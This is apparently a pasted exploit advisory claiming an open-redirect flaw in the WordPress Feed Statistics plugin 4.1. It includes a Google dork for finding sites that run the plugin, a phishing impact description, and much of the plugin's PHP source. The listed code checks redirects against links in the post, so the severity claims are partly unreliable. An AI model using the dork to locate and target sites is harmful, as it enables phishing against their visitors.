· 6 years ago · Mar 29, 2019, 01:36 AM
1##################################################################################
2
3# Exploit Title : WordPress 4.9.2 WordPress-Feed-Statistics Plugins 4.1 Open Redirection
4# Author [ Discovered By ] : KingSkrupellos
5# Team : Cyberizm Digital Security Army
6# Date : 29/03/2019
7# Vendor Homepage : chrisfinke.com
8# Software Download Link : downloads.wordpress.org/plugin/wordpress-feed-statistics.4.1.zip
9# Software Information Link : wordpress.org/plugins/wordpress-feed-statistics/
10# Software Affected Version : Plugin Version 4.1
11WordPress Version 3.2.1 - 3.3.1 - 3.5.1 - 3.5.2 - 3.7.4 - 4.9.2
12# Tested On : Windows and Linux
13# Category : WebApps
14# Exploit Risk : High
15# Google Dorks : inurl:/wp-content/plugins/wordpress-feed-statistics/
16# Vulnerability Type : CWE-601 [ URL Redirection to Untrusted Site ('Open Redirect') ]
17# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
18# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
19# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
20
21##################################################################################
22
23# Information About Software :
24****************************
25Feed Statistics is a plugin that tracks statistics for your RSS/Atom feeds, including the number
26
27of subscribers, which feed readers they’re using, which posts they’re viewing and which links they’re clicking on.
28
29To display your subscriber count, use the Feed Statistics widget. The plugin also adds a “Feed Statistics†menu
30
31to your dashboard. This section has four subsections: Feed Statistics (Options), Feed Readers, Post Views, and Clickthroughs.
32
33It will take a few days for the subscriber count to become accurate, so you may want to wait a day or two
34
35between installing/activating the plugin and publicly displaying your subscriber count.
36
37##################################################################################
38
39# Impact :
40***********
41WordPress 4.9.2 WordPress-Feed-Statistics Plugins 4.1 accepts a user-controlled input that specifies a link to
42
43an external site, and uses that link in a Redirect. This simplifies phishing attacks. An http parameter may
44
45contain a URL value and could cause the web application to redirect the request to the specified URL.
46
47By modifying the URL value to a malicious site, an attacker may successfully launch a phishing scam and
48
49steal user credentials. Because the server name in the modified link is identical to the original site, phishing
50
51attempts have a more trustworthy appearance. Open redirect is a failure in that process that makes it possible
52
53for attackers to steer users to malicious websites. This vulnerability is used in phishing attacks to get users to
54
55visit malicious sites without realizing it. Web users often encounter redirection when they visit the Web site
56
57of a company whose name has been changed or which has been acquired by another company.
58
59Visiting unreal web page user's computer becomes affected by malware the task of which is to deceive
60
61the valid actor and steal his personal data.
62
63##################################################################################
64
65# Vulnerable Source Code : [ feed-statistics.php]
66******************************************
67<?php
68
69/*
70Plugin Name: Feed Statistics
71Plugin URI: http://www.chrisfinke.com/wordpress/plugins/feed-statistics/
72Description: Compiles statistics about who is reading your blog via a feed reader and what posts they're reading.
73Version: 4.1
74Author: Christopher Finke
75Author URI: http://www.chrisfinke.com/
76License: GPL2
77Domain Path: /languages/
78Text Domain: feed-statistics
79*/
80
81define( 'FEED_STATISTICS_VERSION', '4.1' );
82
83class FEED_STATS {
84 const LINK_REGEX = "(<a[^>]+href=)(['\"])([^\#][^'\"]+)(['\"])([^>]*>)";
85
86 static function init(){
87 global $wpdb;
88
89 if ( isset( $_GET['feed-stats-post-id'] ) ) {
90 if ( ! empty( $_GET['feed-stats-post-id'] ) && get_option( "feed_statistics_track_postviews" ) ) {
91 $wpdb->insert(
92 $wpdb->prefix . 'feed_postviews',
93 array(
94 'post_id' => $_GET['feed-stats-post-id'],
95 'time' => date( 'Y-m-d H:i:s' )
96 ),
97 array(
98 '%d',
99 '%s'
100 )
101 );
102 }
103
104 header("Content-Type: image/gif");
105 echo base64_decode("R0lGODlhAQABAIAAANvf7wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==");
106 die();
107 }
108
109 add_action('admin_menu', array('FEED_STATS','add_options_menu'));
110 add_action('admin_head', array('FEED_STATS','admin_head'));
111
112 if (get_option("feed_statistics_track_clickthroughs")) {
113 add_filter('the_content', array('FEED_STATS','clickthrough_replace'));
114 }
115
116 if (get_option("feed_statistics_track_postviews")) {
117 add_filter('the_content', array('FEED_STATS','postview_tracker'));
118 }
119
120 add_filter( 'plugin_action_links', 'feed_statistics_action_links', 10, 2 );
121
122 self::widget_register();
123
124 if ( isset( $_GET['feed-stats-url'] ) ) {
125 $url = trim( base64_decode( $_GET['feed-stats-url'] ) );
126
127 if ( ! $url ) die;
128
129 if ( get_option( 'feed_statistics_track_clickthroughs' ) ) {
130 $link_id = 0;
131
132 $wpdb->hide_errors();
133
134 $link_id = $wpdb->get_var(
135 $wpdb->prepare(
136 "SELECT id FROM " . $wpdb->prefix . "feed_links WHERE url=%s",
137 $url
138 )
139 );
140
141 if ( ! $link_id ) {
142 if (
143 $wpdb->insert(
144 $wpdb->prefix . 'feed_links',
145 array(
146 'url' => $url,
147 'url_hash' => md5( $url )
148 ),
149 array( '%s', '%s' )
150 )
151 ) {
152 $link_id = $wpdb->insert_id;
153 }
154 }
155
156 if ( $link_id ) {
157 $wpdb->insert(
158 $wpdb->prefix . 'feed_clickthroughs',
159 array(
160 'link_id' => $link_id,
161 'time' => date( 'Y-m-d H:i:s' )
162 ),
163 array(
164 '%d',
165 '%s'
166 )
167 );
168 }
169 }
170
171 $wpdb->show_errors();
172
173 $whitelisted_redirect = false;
174
175 if ( isset( $_GET['feed-stats-url-post-id'] ) ) {
176 $post = get_post( $_GET['feed-stats-url-post-id'] );
177
178 if ( $post ) {
179 preg_match_all( "/" . self::LINK_REGEX . "/i", $post->post_content, $anchor_tags );
180
181 $links = $anchor_tags[3];
182
183 if ( in_array( $url, $links ) ) {
184 $whitelisted_redirect = true;
185 }
186 }
187 }
188
189 if ( ! $whitelisted_redirect ) {
190 $redirection_warning = '<p>' . sprintf( __( 'The link you clicked is attempting to send you to %s If you do not want to visit that site, please close this page or return to the previous page. If you want to continue, copy and paste the URL above into your browser’s address bar.', 'feed-statistics' ) . '</p>', '</p><p><code>' . esc_html( $url ) . '</code></p><p>' );
191
192 wp_die( $redirection_warning, __( 'Redirection Notice', 'feed-statistics' ), array( 'back_link' => true, 'response' => 403 ) );
193 }
194 else {
195 header( 'Location: ' . $url );
196 die();
197 }
198 }
199
200 if ( isset( $_POST["feed_statistics_update"] ) ) {
201 // Handle settings changes here so that the menus can show the right options.
202 update_option( "feed_statistics_expiration_days", intval( $_POST["feed_statistics_expiration_days"] ) );
203 update_option( "feed_statistics_track_clickthroughs", intval( isset( $_POST["feed_statistics_track_clickthroughs"] ) ) );
204 update_option( "feed_statistics_track_postviews", intval( isset( $_POST["feed_statistics_track_postviews"] ) ) );
205 }
206
207 load_plugin_textdomain( 'feed-statistics', false, dirname( plugin_basename( __FILE__ ) ) . '/languages/' );
208
209 if (FEED_STATS::is_feed_url()){
210 $user_agent = $_SERVER["HTTP_USER_AGENT"];
211
212 if (!preg_match("/(Mozilla|Opera|subscriber|user|feed)/Uis", $user_agent)){
213 if (strlen($user_agent) > 3){
214 return;
215 }
216 }
217
218 if (!preg_match("/(readers|subscriber|user|feed)/Uis", $user_agent)){
219 if (preg_match("/(slurp|bot|spider)/Uis", $user_agent)){
220 return;
221 }
222 }
223
224 $m = array();
225
226 if (preg_match("/([0-9]+) subscriber/Uis", $user_agent, $m)) {
227 // Not a typo below - should have been replacing $m[1], but screwed it up the first time around, so it's here to stay
228 $identifier = str_replace($m[0], "###", $user_agent);
229 $subscribers = $m[1];
230 }
231 else if (preg_match("/users ([0-9]+);/Uis", $user_agent, $m)) {
232 // For Yahoo!'s bot
233 $identifier = str_replace($m[1], "###", $user_agent);
234 $subscribers = $m[1];
235 }
236 else if (preg_match("/ ([0-9]+) readers/Uis", $user_agent, $m)) {
237 // For LiveJournal's bot
238 $identifier = str_replace($m[1], "###", $user_agent);
239 $subscribers = $m[1];
240 }
241 else {
242 $identifier = $_SERVER["REMOTE_ADDR"];
243 $subscribers = 1;
244 }
245
246 $feed = $_SERVER["REQUEST_URI"];
247
248 if (!preg_match("/(\/|\.php|\?.*)$/Uis", $feed)){
249 $feed .= "/";
250 }
251
252 $results = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM ".$wpdb->prefix."feed_subscribers WHERE identifier=%s AND feed=''", $identifier ) );
253
254 if ( ! empty( $results ) ) {
255 $wpdb->update(
256 $wpdb->prefix . 'feed_subscribers',
257 array(
258 'subscribers' => $susbcribers,
259 'user_agent' => $user_agent,
260 'feed' => $feed,
261 'date' => date( 'Y-m-d H:i:s' )
262 ),
263 array(
264 'identifier' => $identifier,
265 'feed' => ''
266 ),
267 array(
268 '%d',
269 '%s',
270 '%s',
271 '%s'
272 ),
273 array(
274 '%s',
275 '%s'
276 )
277 );
278 }
279 else {
280 $wpdb->query( $wpdb->prepare(
281 "INSERT INTO " . $wpdb->prefix . "feed_subscribers SET `subscribers`=%d, `identifier`=%s, `user_agent`=%s, `feed`=%s, `date`=NOW() ON DUPLICATE KEY UPDATE `date`=NOW(), `user_agent`=VALUES(`user_agent`), `subscribers`=VALUES(`subscribers`)",
282 $subscribers,
283 $identifier,
284 $user_agent,
285 $feed
286 ) );
287 }
288 }
289 }
290
291 static function db_setup() {
292 $installed_version = get_option( 'feed_statistics_version' );
293
294 if ( FEED_STATISTICS_VERSION != $installed_version ) {
295 FEED_STATS::sql();
296
297 update_option( 'feed_statistics_version', FEED_STATISTICS_VERSION );
298
299 add_option( 'feed_statistics_track_clickthroughs', '0' );
300 add_option( 'feed_statistics_track_postviews', '1' );
301 add_option( 'feed_statistics_expiration_days', '3' );
302 }
303 }
304
305 static function sql() {
306 global $wpdb;
307
308 $last_version = get_option( 'feed_statistics_version' );
309
310 switch ( $last_version ) {
311 case '1.0':
312 case '1.0.1':
313 case '1.0.2':
314 case '1.0.3':
315 case '1.0.4':
316 $sql = "ALTER TABLE `".$wpdb->prefix."feed_subscribers` ADD `user_agent` VARCHAR(255) NOT NULL DEFAULT ''";
317 $wpdb->query($sql);
318
319 $sql = "CREATE TABLE IF NOT EXISTS `".$wpdb->prefix."feed_clickthroughs` (
320 `id` INT(11) NOT NULL auto_increment,
321 `link_id` INT(11) NOT NULL DEFAULT '0',
322 `referrer_id` INT(11) NOT NULL DEFAULT '0',
323 `time` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
324 PRIMARY KEY (id)
325 ) ENGINE=MyISAM DEFAULT CHARSET=latin1";
326 $wpdb->query($sql);
327
328 $sql = "CREATE TABLE IF NOT EXISTS `".$wpdb->prefix."feed_links` (
329 `id` INT(11) NOT NULL auto_increment,
330 `url` VARCHAR(255) NOT NULL DEFAULT '',
331 PRIMARY KEY (`id`),
332 UNIQUE KEY `url` (`url`)
333 ) ENGINE=MyISAM DEFAULT CHARSET=latin1";
334 $wpdb->query($sql);
335
336 $sql = "CREATE TABLE IF NOT EXISTS `".$wpdb->prefix."feed_referrers` (
337 `id` INT(11) NOT NULL auto_increment,
338 `url` VARCHAR(255) NOT NULL DEFAULT '',
339 PRIMARY KEY (`id`),
340 UNIQUE KEY `url` (`url`)
341 ) ENGINE=MyISAM DEFAULT CHARSET=latin1";
342 $wpdb->query($sql);
343
344 $sql = "CREATE TABLE IF NOT EXISTS `".$wpdb->prefix."feed_postviews` (
345 `id` INT(11) NOT NULL auto_increment,
346 `post_id` INT(11) NOT NULL DEFAULT '0',
347 `time` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
348 PRIMARY KEY (id)
349 ) ENGINE=MyISAM DEFAULT CHARSET=latin1";
350 $wpdb->query($sql);
351
352 update_option("feed_statistics_track_clickthroughs", "0");
353 update_option("feed_statistics_track_postviews", "1");
354 case '1.1':
355 case '1.1.1':
356 case '1.1.2':
357 $sql = "ALTER TABLE `".$wpdb->prefix."feed_subscribers` ADD `feed` VARCHAR( 120 ) NOT NULL AFTER `identifier`";
358 $wpdb->query($sql);
359
360 $sql = "ALTER TABLE `".$wpdb->prefix."feed_subscribers` DROP PRIMARY KEY, ADD PRIMARY KEY (`identifier`, `feed`)";
361 $wpdb->query($sql);
362 case '1.2':
363 case '1.3':
364 $sql = "DROP TABLE `".$wpdb->prefix."feed_referrers`";
365 $wpdb->query($sql);
366
367 $sql = "ALTER TABLE `".$wpdb->prefix."feed_clickthroughs` DROP `referrer_id`";
368 $wpdb->query($sql);
369 case '1.3.1':
370 $sql = "ALTER TABLE `".$wpdb->prefix."feed_subscribers` CHANGE `feed` `feed` VARCHAR(120) NOT NULL";
371 $wpdb->query($sql);
372 case '1.3.2':
373 case '1.4':
374 case '1.4.1';
375 case '1.4.2':
376 case '1.4.3':
377 case '1.5':
378 // Seeing some errors about a 1000-byte key being too long. Go figure.
379 $wpdb->query( "ALTER TABLE " . $wpdb->prefix . "feed_links DROP KEY url" );
380 $wpdb->query( "ALTER TABLE " . $wpdb->prefix . "feed_links ADD url_hash VARCHAR(32) NOT NULL" );
381 $wpdb->query( "UPDATE " . $wpdb->prefix . "feed_links SET url_hash=MD5(url)" );
382 $wpdb->query( "ALTER TABLE " . $wpdb->prefix . "feed_links ADD KEY url_hash (url_hash)" );
383 break;
384 default:
385 // Full SQL of current schema.
386
387 $wpdb->query( "CREATE TABLE IF NOT EXISTS ".$wpdb->prefix."feed_links
388 (
389 id int(11) NOT NULL AUTO_INCREMENT,
390 url_hash varchar(32) NOT NULL,
391 url varchar(1000) NOT NULL,
392 PRIMARY KEY (id),
393 UNIQUE KEY url_hash (url_hash)
394 ) ENGINE=MyISAM DEFAULT CHARSET=latin1"
395 );
396
397 $wpdb->query( "CREATE TABLE IF NOT EXISTS ".$wpdb->prefix."feed_postviews
398 (
399 id int(11) NOT NULL AUTO_INCREMENT,
400 post_id int(11) NOT NULL DEFAULT '0',
401 time datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
402 PRIMARY KEY (id)
403 ) ENGINE=MyISAM DEFAULT CHARSET=latin1"
404 );
405
406 $wpdb->query( "CREATE TABLE IF NOT EXISTS ".$wpdb->prefix."feed_subscribers
407 (
408 subscribers int(11) NOT NULL DEFAULT '0',
409 identifier varchar(255) NOT NULL DEFAULT '',
410 feed varchar(120) NOT NULL,
411 date datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
412 user_agent varchar(255) DEFAULT NULL,
413 PRIMARY KEY (identifier,feed)
414 ) ENGINE=MyISAM DEFAULT CHARSET=latin1"
415 );
416
417 $wpdb->query( "CREATE TABLE IF NOT EXISTS ".$wpdb->prefix."feed_clickthroughs
418 (
419 id int(11) NOT NULL AUTO_INCREMENT,
420 link_id int(11) NOT NULL DEFAULT '0',
421 time datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
422 PRIMARY KEY (id)
423 ) ENGINE=MyISAM DEFAULT CHARSET=latin1"
424 );
425 break;
426 }
427 }
428
429 static function is_feed_url() {
430 switch (basename($_SERVER['PHP_SELF'])) {
431 case 'wp-rdf.php':
432 case 'wp-rss.php':
433 case 'wp-rss2.php':
434 case 'wp-atom.php':
435 case 'feed':
436 case 'rss2':
437 case 'atom':
438 return true;
439 break;
440 }
441
442 if (isset($_GET["feed"])) {
443 return true;
444 }
445
446 if (preg_match("/^\/(feed|rss2?|atom|rdf)/Uis", $_SERVER["REQUEST_URI"])) {
447 return true;
448 }
449
450 if (preg_match("/\/(feed|rss2?|atom|rdf)\/?$/Uis", $_SERVER["REQUEST_URI"])){
451 return true;
452 }
453
454 return apply_filters( 'feed_statistics_is_feed_url', false );
455 }
456
457 static function how_many_subscribers() {
458 global $wpdb;
459
460 $results = $wpdb->get_results(
461 $wpdb->prepare(
462 "SELECT
463 `subscribers`,
464 CASE WHEN `subscribers` = 1 THEN `identifier` ELSE CONCAT(`identifier`, `feed`) END AS `ident`
465 FROM " . $wpdb->prefix . "feed_subscribers
466 WHERE
467 (
468 (`date` > %s)
469 OR
470 (
471 LOCATE('###',`identifier`) != 0 AND
472 `date` > %s
473 )
474 )
475 ORDER BY `ident` ASC, `date` DESC",
476 date( "Y-m-d H:i:s", time() - ( 60 * 60 * 24 * get_option( "feed_statistics_expiration_days" ) ) ),
477 date( "Y-m-d H:i:s", time() - ( 60 * 60 * 24 * get_option( "feed_statistics_expiration_days" ) * 3 ) )
478 )
479 );
480
481 $s = 0;
482
483 if ( ! empty( $results ) ) {
484 $current_ident = '';
485
486 foreach ( $results as $row ) {
487 if ( $row->ident != $current_ident ) {
488 $s += $row->subscribers;
489 $current_ident = $row->ident;
490 }
491 }
492 }
493
494 return intval( $s );
495 }
496
497 static function add_options_menu() {
498 add_menu_page( __( 'Feed Statistics Settings', 'feed-statistics' ), __( 'Feed Statistics', 'feed-statistics' ), 'publish_posts', basename(__FILE__), 'feed_statistics_feed_page' );
499
500 add_submenu_page( basename( __FILE__ ), __( 'Top Feeds', 'feed-statistics' ), __( 'Top Feeds', 'feed-statistics' ), 'publish_posts', 'feedstats-topfeeds', 'feed_statistics_topfeeds_page' );
501 add_submenu_page( basename( __FILE__ ), __( 'Feed Readers', 'feed-statistics' ), __( 'Feed Readers', 'feed-statistics' ), 'publish_posts', 'feedstats-feedreaders', 'feed_statistics_feedreaders_page' );
502
503 if (get_option("feed_statistics_track_postviews"))
504 add_submenu_page( basename( __FILE__ ), __( 'Post Views', 'feed-statistics' ), __( 'Post Views', 'feed-statistics' ), 'publish_posts', 'feedstats-postviews', 'feed_statistics_postviews_page' );
505
506 if (get_option("feed_statistics_track_clickthroughs"))
507 add_submenu_page( basename( __FILE__ ), __( 'Clickthroughs', 'feed-statistics' ), __( 'Clickthroughs', 'feed-statistics' ), 'publish_posts', 'feedstats-clickthroughs', 'feed_statistics_clickthroughs_page' );
508 }
509
510 static function clickthroughs_page(){
511 global $wpdb;
512
513 ?>
514 <div class="wrap">
515 <div class="icon32" id="icon-options-general">
516 <br />
517 </div>
518 <h2><?php esc_html_e( 'Most popular links in your feed (last 30 days)', 'feed-statistics' ); ?></h2>
519 <p>
520 <?php
521
522 if ( get_option( 'feed_statistics_track_clickthroughs' ) )
523 esc_html_e( 'You currently have clickthrough tracking turned on.', 'feed-statistics' );
524 else
525 esc_html_e( 'You currently have clickthrough tracking turned off.', 'feed-statistics' );
526
527 ?>
528 </p>
529
530 <table style="width: 100%;">
531 <thead>
532 <tr>
533 <th> </th>
534 <th style="width: 45%; text-align: left;"><?php esc_html_e( 'Outgoing Link', 'feed-statistics' ); ?></th>
535 <th><?php esc_html_e( 'Clicks', 'feed-statistics' ); ?></th>
536 <th style="width: 35%;"> </th>
537 </tr>
538 </thead>
539 <tbody>
540 <?php
541
542 $wpdb->query(
543 $wpdb->prepare(
544 "DELETE FROM " . $wpdb->prefix . "feed_clickthroughs WHERE time < %s",
545 date( "Y-m-d H:i:s", time() - ( 60 * 60 * 24 * 30 ) )
546 )
547 );
548
549 $results = $wpdb->get_results(
550 $wpdb->prepare(
551 "SELECT
552 COUNT(*) AS `clicks`,
553 `l`.`url` AS `link`
554 FROM " . $wpdb->prefix . "feed_clickthroughs AS `c`
555 LEFT JOIN `".$wpdb->prefix."feed_links` AS `l` ON `c`.`link_id`=`l`.`id`
556 WHERE `c`.`time` > %s
557 GROUP BY `c`.`link_id`
558 ORDER BY `clicks` DESC",
559 date( 'Y-m-d H:i:s', time() - ( 60 * 60 * 24 * 30 ) )
560 )
561 );
562
563 $i = 1;
564
565 if ( ! empty( $results ) ) {
566 $max = $results[0]->clicks;
567
568 foreach ( $results as $row ) {
569 $percentage = ceil( $row->clicks / $max * 100 );
570
571 ?>
572 <tr>
573 <td>
574 <?php echo $i++; ?>
575 </td>
576 <td>
577 <a href="<?php echo esc_url( $row->link ); ?>"><?php echo esc_url( $row->link ); ?></a>
578 </td>
579 <td>
580 <?php echo $row->clicks; ?>
581 </td>
582 <td>
583 <div class="graph" style="width: <?php echo $percentage; ?>%;"> </div>
584 </td>
585 </tr>
586 <?php
587 }
588 }
589
590 ?>
591 </tbody>
592 </table>
593 </div>
594 <?php
595 }
596
597 static function topfeeds_page(){
598 global $wpdb;
599
600 ?>
601 <div class="wrap">
602 <div class="icon32" id="icon-options-general">
603 <br />
604 </div>
605 <h2><?php esc_html_e( 'Your most popular feeds', 'feed-statistics' ); ?></h2>
606 <table style="width: 100%;">
607 <thead>
608 <tr>
609 <th> </th>
610 <th style="width: 50%; text-align: left;"><?php esc_html_e( 'Feed URL', 'feed-statistics' ); ?></th>
611 <th style="text-align: left;"><?php esc_html_e( 'Subscribers', 'feed-statistics' ); ?></th>
612 <th style="width: 35%;"> </th>
613 </tr>
614 </thead>
615 <tbody>
616 <?php
617
618 $results = $wpdb->get_results(
619 $wpdb->prepare(
620 "SELECT
621 `feed`,
622 SUM(`subscribers`) `subscribers`
623 FROM `".$wpdb->prefix."feed_subscribers`
624 WHERE
625 `feed` != ''
626 AND
627 (
628 (`date` > %s)
629 OR
630 (
631 LOCATE('###',`identifier`) != 0 AND
632 `date` > %s
633 )
634 )
635 GROUP BY `feed`
636 ORDER BY `subscribers` DESC",
637 date("Y-m-d H:i:s", time() - (60 * 60 * 24 * get_option("feed_statistics_expiration_days"))),
638 date("Y-m-d H:i:s", time() - (60 * 60 * 24 * get_option("feed_statistics_expiration_days") * 3))
639 )
640 );
641
642 $feeds = array();
643
644 $i = 1;
645
646 if ( ! empty( $results ) ) {
647 foreach ( $results as $feed ) {
648 if ( ! isset( $max ) )
649 $max = $feed->subscribers;
650
651 $percentage = ceil( $feed->subscribers / $max * 100 );
652
653 ?>
654 <tr>
655 <td><?php echo $i++; ?></td>
656 <td style="width: 40%;">
657 <a href="<?php echo esc_url( $feed->feed ); ?>"><?php echo esc_url( $feed->feed ); ?></a>
658 </td>
659 <td style="width: 15%;"><?php echo $feed->subscribers; ?></td>
660 <td style="width: 40%;">
661 <div class="graph" style="width: <?php echo $percentage; ?>%;"> </div>
662 </td>
663 </tr>
664 <?php
665 }
666 }
667
668 ?>
669 </tbody>
670 </table>
671 </div>
672 <?php
673 }
674
675 static function postviews_page(){
676 global $wpdb;
677
678 ?>
679 <div class="wrap">
680 <div class="icon32" id="icon-options-general">
681 <br />
682 </div>
683 <h2><?php esc_html_e( 'Your most popular posts (last 30 days)', 'feed-statistics' ); ?></h2>
684 <p>
685 <?php
686
687 if ( get_option( 'feed_statistics_track_postviews' ) ) {
688 if ( 1 == get_option( 'rss_use_excerpt' ) ) {
689 printf( __( 'You have post view tracking turned on, but you have your feeds set to "Summary" mode. To track post views, you should select "Full text" mode on the <a href="%s">Reading settings</a> page.', 'feed-statistics' ), admin_url( 'options-reading.php' ) );
690 }
691 else {
692 esc_html_e( 'You have post view tracking turned on.', 'feed-statistics' );
693 }
694 }
695 else {
696 esc_html_e( 'You have post view tracking turned off.', 'feed-statistics' );
697 }
698
699 ?>
700 </p>
701 <table style="width: 100%;">
702 <thead>
703 <tr>
704 <th> </th>
705 <th style="width: 50%; text-align: left;"><?php esc_html_e( 'Post Title', 'feed-statistics' ); ?></th>
706 <th style="text-align: left;"><?php esc_html_e( 'Views', 'feed-statistics' ); ?></th>
707 <th style="width: 35%;"> </th>
708 </tr>
709 </thead>
710 <tbody>
711 <?php
712
713 // Delete entries older than 30 days.
714 $wpdb->query(
715 $wpdb->prepare(
716 "DELETE FROM " . $wpdb->prefix . "feed_postviews WHERE `time` < %s",
717 date("Y-m-d H:i:s", time() - (60 * 60 * 24 * 30))
718 )
719 );
720
721 $results = $wpdb->get_results(
722 $wpdb->prepare(
723 "SELECT
724 COUNT(*) AS `views`,
725 `v`.`post_id`,
726 `p`.`post_title` `title`,
727 `p`.`guid` `permalink`
728 FROM " . $wpdb->prefix . "feed_postviews AS `v`
729 LEFT JOIN " . $wpdb->prefix . "posts AS `p` ON `v`.`post_id`=`p`.`ID`
730 WHERE `v`.`time` > %s
731 GROUP BY `v`.`post_id`
732 ORDER BY `views` DESC
733 LIMIT 20",
734 date("Y-m-d H:i:s", time() - (60 * 60 * 24 * 30))
735 )
736 );
737
738 if ( ! empty( $results ) ) {
739 $i = 1;
740 $max = $results[0]->views;
741
742 foreach ( $results as $row ) {
743 $percentage = ceil($row->views / $max * 100);
744
745 ?>
746 <tr>
747 <td><?php echo $i++; ?></td>
748 <td><a href="<?php echo esc_url( $row->permalink ); ?>"><?php esc_html_e( $row->title ); ?></a></td>
749 <td><?php echo $row->views; ?></td>
750 <td>
751 <div class="graph" style="width: <?php echo $percentage; ?>%;"> </div>
752 </td>
753 </tr>
754 <?php
755 }
756 }
757
758 ?>
759 </tbody>
760 </table>
761 </div>
762 <?php
763 }
764
765 static function feedreaders_page(){
766 global $wpdb;
767
768 ?>
769 <div class="wrap">
770 <div class="icon32" id="icon-options-general">
771 <br />
772 </div>
773 <h2><?php esc_html_e( 'Top Feed Readers', 'feed-statistics' ); ?></h2>
774 <?php
775
776 $expiration_days = get_option("feed_statistics_expiration_days");
777
778 $wpdb->query(
779 $wpdb->prepare(
780 "DELETE FROM " . $wpdb->prefix . "feed_subscribers WHERE `date` < %s",
781 date( "Y-m-d H:i:s", time() - ( 60 * 60 * 24 * get_option( "feed_statistics_expiration_days" ) * 3 ) )
782 )
783 );
784
785 $results = $wpdb->get_results(
786 $wpdb->prepare(
787 "SELECT
788 CASE
789 WHEN
790 LOCATE('###',`identifier`) != 0 THEN SUBSTRING(`identifier`, 1, LOCATE(' ',`identifier`))
791 ELSE
792 `user_agent`
793 END AS `reader`,
794 SUM(`subscribers`) `readers`
795 FROM " . $wpdb->prefix . "feed_subscribers
796 WHERE `date` > %s
797 GROUP BY `reader`
798 ORDER BY `readers` DESC",
799 date("Y-m-d H:i:s", time() - (60 * 60 * 24 * get_option("feed_statistics_expiration_days")))
800 )
801 );
802
803 $readers = array();
804
805 if (!empty($results)){
806 foreach ($results as $row){
807 $reader = $row->reader;
808
809 $version = array();
810
811 if ($reader == '') {
812 $reader = "Unknown (Pending)";
813 }
814 else if (preg_match("/Navigator\/([0-9abpre\.]+)/is", $reader, $version)){
815 $reader = "Netscape Navigator ".$version[1];
816 }
817 else if (preg_match("/Opera\/([0-9abpre\.]+)/is", $reader, $version)){
818 $reader = "Opera ".$version[1];
819 }
820 else if (preg_match("/Flock\/([0-9abpre\.]+)/is", $reader, $version)){
821 $reader = "Flock ".$version[1];
822 }
823 else if (preg_match("/(Firefox|BonEcho|GranParadiso|Aurora|Minefield)\/([0-9abpre\.]+)/is", $reader, $version)) {
824 $reader = "Mozilla ".$version[1]." ".$version[2];
825 }
826 else if (preg_match("/MSIE ([0-9abpre\.]+)/is", $reader, $version)){
827 $reader = "Internet Explorer ".$version[1];
828 }
829 else if (preg_match("/RockMelt\/([^\s\.]+)/is", $reader, $version)) {
830 $reader = "RockMelt ".$version[1];
831 }
832 else if (preg_match("/Chrome\/([^\s\.]+)/is", $reader, $version)) {
833 $reader = "Chrome ".$version[1];
834 }
835 else if (preg_match("/Safari/is", $reader)) {
836 $reader = "Safari";
837 }
838 else if (preg_match("/Gecko/Uis", $reader)) {
839 $reader = "Other Mozilla browser";
840 }
841 else if (!preg_match("/Mozilla/Uis", $reader)){
842 $reader = preg_replace("/[\/;].*$/Uis", "", $reader);
843 }
844 else {
845 continue;
846 }
847
848 foreach ($readers as $key => $d) {
849 if ($d["reader"] == $reader){
850 $readers[$key]["readers"] += $row->readers;
851 continue 2;
852 }
853 }
854
855 $readers[] = array("reader" => $reader, "readers" => $row->readers);
856 }
857 }
858
859 function sort_reader_array($a, $b) {
860 return $b["readers"] - $a["readers"];
861 }
862
863 usort($readers, 'sort_reader_array');
864
865 $max = $readers[0]["readers"];
866
867 ob_start();
868
869 ?>
870 <table style="width: 100%;">
871 <thead>
872 <tr>
873 <th> </th>
874 <th style="text-align: left;"><?php esc_html_e( 'Reader', 'feed-statistics' ); ?></th>
875 <th style="text-align: left;"><?php esc_html_e( 'Subscribers', 'feed-statistics' ); ?></th>
876 <th> </th>
877 </tr>
878 </thead>
879 <tbody>
880 <?php
881
882 $i = 1;
883
884 foreach ($readers as $reader) {
885 $percentage = ceil($reader["readers"] / $max * 100);
886
887 ?>
888 <tr>
889 <td><?php echo $i++; ?></td>
890 <td style="width: 40%;"><?php echo esc_html( $reader["reader"] ); ?></td>
891 <td style="width: 15%;"><?php echo esc_html( $reader["readers"] ); ?></td>
892 <td style="width: 40%;">
893 <div class="graph" style="width: <?php echo $percentage; ?>%;"> </div>
894 </td>
895 </tr>
896 <?php
897 }
898
899 ?>
900 </tbody>
901 </table>
902 </div>
903 <?php
904 }
905
906 static function feed_page() {
907 ?>
908 <div class="wrap">
909 <?php if ( ! empty( $_POST['feed_statistics_update'] ) ) { ?>
910 <div class="updated"><p><?php esc_html_e( 'Settings have been saved.', 'feed-statistics' ); ?></p></div>
911 <?php } ?>
912
913 <div class="icon32" id="icon-options-general">
914 <br />
915 </div>
916 <h2><?php esc_html_e( 'Feed Statistics Settings', 'feed-statistics' ); ?></h2>
917 <form method="post">
918 <input type="hidden" name="feed_statistics_update" value="1"/>
919
920 <table class="form-table">
921 <tbody>
922 <tr valign="top">
923 <th scope="row"><?php esc_html_e( 'Subscribers', 'feed-statistics' ); ?></th>
924 <td>
925 <?php printf( esc_html__( 'Count users who have requested a feed within the last %1$s days as subscribers. You currently have %2$s subscribers.', 'feed-statistics' ), '<input type="text" size="2" name="feed_statistics_expiration_days" value="' . intval( get_option("feed_statistics_expiration_days") ) . '" />', number_format_i18n( FEED_STATS::how_many_subscribers() ) ); ?>
926 </td>
927 </tr>
928 <tr valign="top">
929 <th scope="row"><?php esc_html_e( 'Clickthroughs', 'feed-statistics' ); ?></th>
930 <td>
931 <input type="checkbox" name="feed_statistics_track_clickthroughs" value="1" <?php checked( get_option( 'feed_statistics_track_clickthroughs' ) ); ?> />
932 <?php esc_html_e( 'Track which links your subscribers click', 'feed-statistics' ); ?>
933 <p class="description">
934 <?php esc_html_e( 'This requires WordPress to route all links in your posts back through your site so that clicks can be recorded. The user shouldn\'t notice a difference.', 'feed-statistics' ); ?>
935 </p>
936 </td>
937 </tr>
